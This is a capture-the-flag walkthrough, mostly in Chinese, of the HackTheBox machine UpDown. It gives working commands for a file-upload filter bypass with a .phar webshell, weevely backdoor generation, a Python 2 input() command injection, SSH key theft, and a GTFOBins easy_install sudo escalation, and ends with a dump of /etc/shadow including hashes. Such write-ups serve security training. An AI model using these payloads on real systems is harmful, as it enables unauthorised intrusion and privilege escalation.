HackTheBox - Machine - UpDown

Recommand: Let’s Sign Up HTB Academy to get Higher level of knowledge :P

非常推薦: 想要變强嗎? 快來加入 HTB Academy 獲得更高級的知識吧 :P

UpDown

image

https://www.hackthebox.com/achievement/machine/463126/493

首先對目標進行了 TCP 掃描,發現只有 80 端口開放,並通過瀏覽器訪問後獲得了一個域名 siteisup.htb。接著,對其子域名進行了進一步的掃描,發現了 dev 子域名。隨後,啟動了本地 HTTP 服務器,並嘗試使用 nc 工具抓取版本信息,但未能獲得有用的框架或版本號。因為沒有明顯的內容,進一步掃描子目錄後發現了 /dev 目錄,並成功下載了該目錄下的 .git 目錄,從中提取了 .htaccess 文件,該文件設置了訪問權限。通過添加請求頭 Special-Dev: only4dev,最終成功獲得了正常內容。分析源碼後發現上傳的文件會被存儲在 uploads 目錄中,並且存在對某些文件類型的過濾,從而可以利用不常見的 PHP 擴展進行上傳。為了延長上傳後的執行時間,通過在 PHP 木馬的尾部添加垃圾域名來達到超時效果,成功上傳了木馬並執行。接著,嘗試使用不同的文件擴展名進行上傳,最終以 phar 擴展成功執行了 phpinfo ()。然而,系統禁止了多種外部函數的執行,因此需要使用 p0wny-shell 或 weevely 來獲取反向 shell。由於 p0wny-shell 大小超過了上傳限制,選擇了 weevely,並通過 burp 代理進行請求頭的修改。經過配置後,成功上傳了木馬並獲得了 shell,隨後發現 /home/developer 目錄下有一個 SUID 程序 siteisup。運行該程序後,發現其背後的 Python 代碼存在漏洞,利用 Python 2 的 input () 函數特性,成功執行了惡意命令,獲得了更高的權限。最終,通過讀取 .ssh 目錄中的 id_rsa 文件,實現了 SSH 登錄,並利用 gtfobins 網站提供的 payload 獲得了 root 權限。

Recon

首先日常使用 TCP 掃描一下。

Nmap TCP Scan

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
$ sudo nmap -Pn -sS -p- -sC -sV -vv -oA save --min-rate=1000 10.129.227.227
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 9e:1f:98:d7:c8:ba:61:db:f1:49:66:9d:70:17:02:e7 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDl7j17X/EWcm1MwzD7sKOFZyTUggWH1RRgwFbAK+B6R28x47OJjQW8VO4tCjTyvqKBzpgg7r98xNEykmvnMr0V9eUhg6zf04GfS/gudDF3Fbr3XnZOsrMmryChQdkMyZQK1HULbqRij1tdHaxbIGbG5CmIxbh69mMwBOlinQINCStytTvZq4btP5xSMd8pyzuZdqw3Z58ORSnJAorhBXAmVa9126OoLx7AzL0aO3lqgWjo/wwd3FmcYxAdOjKFbIRiZK/f7RJHty9P2WhhmZ6mZBSTAvIJ36Kb4Z0NuZ+ztfZCCDEw3z3bVXSVR/cp0Z0186gkZv8w8cp/ZHbtJB/nofzEBEeIK8gZqeFc/hwrySA6yBbSg0FYmXSvUuKgtjTgbZvgog66h+98XUgXheX1YPDcnUU66zcZbGsSM1aw1sMqB1vHhd2LGeY8UeQ1pr+lppDwMgce8DO141tj+ozjJouy19Tkc9BB46FNJ43Jl58CbLPdHUcWeMbjwauMrw0=
| 256 c2:1c:fe:11:52:e3:d7:e5:f7:59:18:6b:68:45:3f:62 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBKMJ3/md06ho+1RKACqh2T8urLkt1ST6yJ9EXEkuJh0UI/zFcIffzUOeiD2ZHphWyvRDIqm7ikVvNFmigSBUpXI=
| 256 5f:6e:12:67:0a:66:e8:e2:b7:61:be:c4:14:3a:d3:8e (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIL1VZrZbtNuK2LKeBBzfz0gywG4oYxgPl+s5QENjani1
80/tcp open http syn-ack ttl 63 Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Is my Website up ?
|_http-server-header: Apache/2.4.41 (Ubuntu)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

只有80端口,瀏覽器打開后出現:

image

上面有一個域名是 siteisup.htb​。​​

Sub-domain scan

所以可以掃一下子域名:

1
$ ffuf -u "http://10.129.227.227"  -H "Host: FUZZ.siteisup.htb" -w /Tools/Wordlists/N0kovoSubdomains/n0kovo_subdomains_small.txt  -fs 1131

image

得到一個子域名是 dev,打開后出現:

image

Walk around on siteisup.htb

回到 siteisup.htb​,開啓一個本地的http服務器: python3 -m http.server 80​,然後輸入自己的ip看一下會發生什麽:

image

嘗試用nc抓取一下,看一下有沒有什麽版本信息:

1
$ nc -lvnp 80 

image

看不到有任何的框架和版本號,如果只是輸入 ip 會得到:

image

Directory scan and download source code with git-dumper

由於什麽也沒有,嘗試掃描一下子目錄:

1
$ feroxbuster -u "http://10.129.227.227/" -w  /Tools/Wordlists/SecLists/Discovery/Web-Content/quickhits.txt -d 1

image

看到有一個 /dev​的子目錄,再次掃描:

1
$ feroxbuster -u "http://10.129.227.227/dev" -w  /Tools/Wordlists/SecLists/Discovery/Web-Content/quickhits.txt -d 1 

image

發現這個目錄存在 .git/HEAD​,也就可以使用 git_dumper 來下載整個目錄:

1
$ python3 git_dumper.py http://10.129.227.227/dev git

image

這樣會保存到 git​ 這個目錄。

Edit http header to digging in dev.siteisup.htb

進去看一下有什麽東西:

image

有一個 .htaccess​ 文件,大概的解釋是這樣的:

  1. SetEnvIfNoCase Special-Dev "only4dev" Required-Header:

    • 這行代碼會檢查請求中是否存在名為 Special-Dev​ 的標頭,並且其值是否為 only4dev​。如果條件滿足,則會設置一個環境變數 Required-Header​。
  2. Order Deny,Allow:

    • 這行代碼設置了訪問控制的順序,首先拒絕所有請求,然後再根據後面的規則允許某些請求。
  3. Deny from All:

    • 這行代碼拒絕所有來自任何來源的請求。
  4. Allow from env=Required-Header:

    • 這行代碼允許那些滿足 Required-Header​ 環境變數的請求。也就是說,只有當請求中包含 Special-Dev: only4dev​ 標頭時,請求才會被允許。

所以在不加請求頭的情況下,會出現403:

image

如果加一行 Special-Dev: only4dev​,就會出現正常的内容:

image

既然是這樣,去firebox商店安裝 Header Editor

image

點擊增加,把上面的 header 加進去,這樣瀏覽器就會在每一個請求都加入 Special-Dev: only4dev​ 的 http 頭:

image

image

保存之後並啓用,重新刷新就看到了這個界面:

image

觀察了一會,看起來是 git 下面的文件,所以分析一下源碼:

image

當上傳一個文件之後就會保存到 uploads​ 這個文件夾,如果使用瀏覽器打開後會出現:

image

但是默認的php服務器可以運行多種後綴名,這裏不一定是php,參考: https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Upload%20Insecure%20Files/README.md

image

從上面的正則過濾中得到凡是有php的關鍵字都會被忽略掉,也就是說可以嘗試一下上面的 Less known PHP extensions​。

Try to upload php backdoor with less-known extensions

由於上面的源代碼中執行完成后會刪除原本的文件,所以就需要盡可能的讓他卡住,也就是盡可能的讓運行的時間邊長,

當輸入一些域名的時候,系統會讓DNS解析成IP,由於機器無法聯網,所以會等待直到超時。

默認的超時為5秒,可以使用 man resolv.conf​ 查看:

image

這意味著可以在 php 木馬的尾部加入一些垃圾域名,一個域名卡5秒來延長執行時間:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
$ cat mane.pht      
<?php

phpinfo();

?>

mane.asdasd.asdasd
mane.asdasd.asdasd
mane.asdasd.asdasd
asdadmane.asdasd.asdasd
mane.asdasd.asdasd
mane.asdasd.asdasd
manesdiasidadasd.asdasd.asdasd
mane.asdasd.asdasd
mane.asdasd.asdasd
mane.asdasd.asdasd
mane.asdasd.asdasd
<省略200行>

image

儅上傳上去了之後,點擊check,他就會一直卡住:

image

這樣就有充足的時間打開 http://dev.siteisup.htb/uploads/​,然後執行木馬:

image

image

從源代碼中可以看到 pht​後綴失敗了:

image

所以嘗試把 pht​ 改成 phar​ 試試看:

image

結果成功了的運行了 phpinfo()​:

image

不過仔細一看,他禁止掉了一堆 php 運行外部函數的命令:

image

比如常見的 system,exec,shell_exec,popen​ 都被禁止了。

目前市面上有幾種自動繞過 php 的方法,第一種是使用 p0wny-shell, 第二種是使用 weevely。

由於第一種的大小已經超過了上傳限制,所以需要準備一個上傳文件的木馬然後把p0wny-shell給上傳到目錄的機器上。

Upload weevely backdoor

如果使用 weevely 則小很多,但是weevely不支持修改請求頭訪問。

所以需要讓 weevely 連接到 burp ,讓burp自動修改 請求頭,這樣才可以正常的訪問木馬。

Burp auto change proxy header

在burp中,點開設置:

image

然後在右邊的 Replace​加一行: Special-Dev: only4dev

image

點擊測試后如果出現 Special-Dev: only4dev​ 那就成功了,然後點擊 OK

image

確保有啓用,然後使用 curl 試一下 :

1
$ curl -x http://127.0.0.1:8080 http://dev.siteisup.htb/

如果沒有出現 403 Forbidden​ 就説明成功了:

image

Change proxychains config and add http proxy

由於 weevely 沒有參數可以指定使用哪些代理,可以藉助 proxychains,所以需要修改proxychains的配置文件:

1
2
3
$ sudo vim /etc/proxychains4.conf

http 127.0.0.1 8080

image

把burp的代理加入到最後,然後把其他代理刪掉,這樣就配置完成了。

Making weevely backdoor

使用這兩行可以快速生成 php 木馬:

1
2
$ weevely generate mane mane.php -obfuscator cleartext1_php
$ mv mane.php mane.phar

image

然後在木馬的尾部加一點垃圾域名用來拉長運行時間:

image

上傳後得到:

image

image

然後複製該路徑,使用 weevely 鏈接:

1
$ proxychains -q weevely http://dev.siteisup.htb/uploads/46b2b5b52cb62015f534fadd1480c7ad/mane.phar mane 

image

可以看到它成功的運行了shell,由於會定時清理 uploads​ 這個目錄,所以需要在這裏獲得一個 reverse shell。

shell as webshell

獲得了webshell之後,發現 /home/developer​有一個 suid 是 siteisup

image

運行後,隨便打一些東西:

1
./siteisup

image

看到他正在運行 /home/developer/dev/siteisup_test.py​,看一下裏面有什麽:

1
2
3
4
5
6
7
8
9
www-data@updown:/home/developer/dev$ cat siteisup_test.py 
import requests

url = input("Enter URL here:")
page = requests.get(url)
if page.status_code == 200:
print "Website is up"
else:
print "Website is down"

一眼看下去確實沒有發現什麽問題,不過手動運行這個代碼之後,他是來自 python2 的報錯,因爲 python3 不會出現這種錯誤:

image

查了一下,總結如下:

在 Python 2 中,input()​ 函数会将输入的内容作为 Python 表达式进行求值。这意味着如果你输入的内容不是一个有效的 Python 表达式,比如字符串(没有用引号包围),就会导致 NameError​,因为 Python 会试图将其作为变量名来查找。

例如,当你输入 mane​ 时,Python 试图寻找一个名为 mane​ 的变量,但没有找到,因此抛出了 NameError​。

如果你想要输入一个字符串,应该使用 raw_input()​ 函数。这样输入的内容会被视为字符串,而不是表达式。例如:

1
url = raw_input("Enter URL here:")

这样无论你输入什么,都会被正确处理为一个字符串。

所以可以去查一下如何運行惡意命令:

image

然後看到這個: https://cybersecurity.whitehatlabs.tech/real-world-and-and-ctf/scripts-and-systems/python2-input-vulnerability

image

也就是說只要輸入這堆payload,就可以運行命令,所以讓運行 bash 就可以得到一個shell:

1
2
$ ./siteisup
__import__("os").system("bash -p")

image

由於當前是developer​,在 嘗試讀取 user.txt​ 的時候失敗了,使用 suid 的後果是 uid 可以登錄,但是 gid 不會改變:

image

不過可以讀取 .ssh​ 裏面的 id_rsa​,直接使用 id_rsa​ 換 SSH 登錄就可以了:

1
2
developer@updown:/home/developer/.ssh$ ls
developer@updown:/home/developer/.ssh$ cat id_rsa

image

image

Exploit easy_install with sudo

看一下它可以執行什麽命令:

1
$ sudo -l

image

首先去 gtfobin 查一下,發現:https://gtfobins.github.io/gtfobins/easy_install/

image

那就直接複製粘貼這段payload 就得到了 root:

1
2
3
TF=$(mktemp -d)
echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
sudo easy_install $TF

image

image

Hashes

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
root@updown:~# cat /etc/shadow
root:$6$35UwqDmGM31K3z1O$EV0yHaLbvEqQ1YfxHOl4fMFHnR0O0Lo7RSnFGpYdfUwBmec0/5JWenL6GLivYgeka8Z4XyYW2UhWOV5UOdK0w.:19165:0:99999:7:::
daemon:*:19158:0:99999:7:::
bin:*:19158:0:99999:7:::
sys:*:19158:0:99999:7:::
sync:*:19158:0:99999:7:::
games:*:19158:0:99999:7:::
man:*:19158:0:99999:7:::
lp:*:19158:0:99999:7:::
mail:*:19158:0:99999:7:::
news:*:19158:0:99999:7:::
uucp:*:19158:0:99999:7:::
proxy:*:19158:0:99999:7:::
www-data:*:19158:0:99999:7:::
backup:*:19158:0:99999:7:::
list:*:19158:0:99999:7:::
irc:*:19158:0:99999:7:::
gnats:*:19158:0:99999:7:::
nobody:*:19158:0:99999:7:::
systemd-network:*:19158:0:99999:7:::
systemd-resolve:*:19158:0:99999:7:::
systemd-timesync:*:19158:0:99999:7:::
messagebus:*:19158:0:99999:7:::
syslog:*:19158:0:99999:7:::
_apt:*:19158:0:99999:7:::
tss:*:19158:0:99999:7:::
uuidd:*:19158:0:99999:7:::
tcpdump:*:19158:0:99999:7:::
sshd:*:19158:0:99999:7:::
landscape:*:19158:0:99999:7:::
pollinate:*:19158:0:99999:7:::
systemd-coredump:!!:19165::::::
lxd:!:19165::::::

Thanks

Respect: If my writeup really helps you, Give me a respect to let me know, Thankssssss!

感謝: 製作不易,如果我的writeup真的幫到你了, 給我一個respect,這樣我就會知道,感謝你!

Found Mistakes: If you find something wrong in the page, please feel free email to mane@manesec.com thanksss !!!

發現一些錯誤: 如果你在文章中發現一些錯誤,請發郵件到 mane@manesec.com ,麻煩了!!

Beginner Recommand: If you are a beginner, please use this link to sign up for an HTB Academy to get more Higher level of knowledge.

新手非常推薦: 如果你是初學者,可以用此鏈接來嘗試注冊 HTB Academy 賬號。

使用上面的鏈接加入 HTB 的 academy 完成 INTRODUCTION TO ACADEMY 這個模塊后可以解鎖更多的功能!

Join HTB’s academy with this link to get free access to all the tutorials for Tire 0. This is very beginner friendly. (It is recommended to complete INTRODUCTION TO ACADEMY first)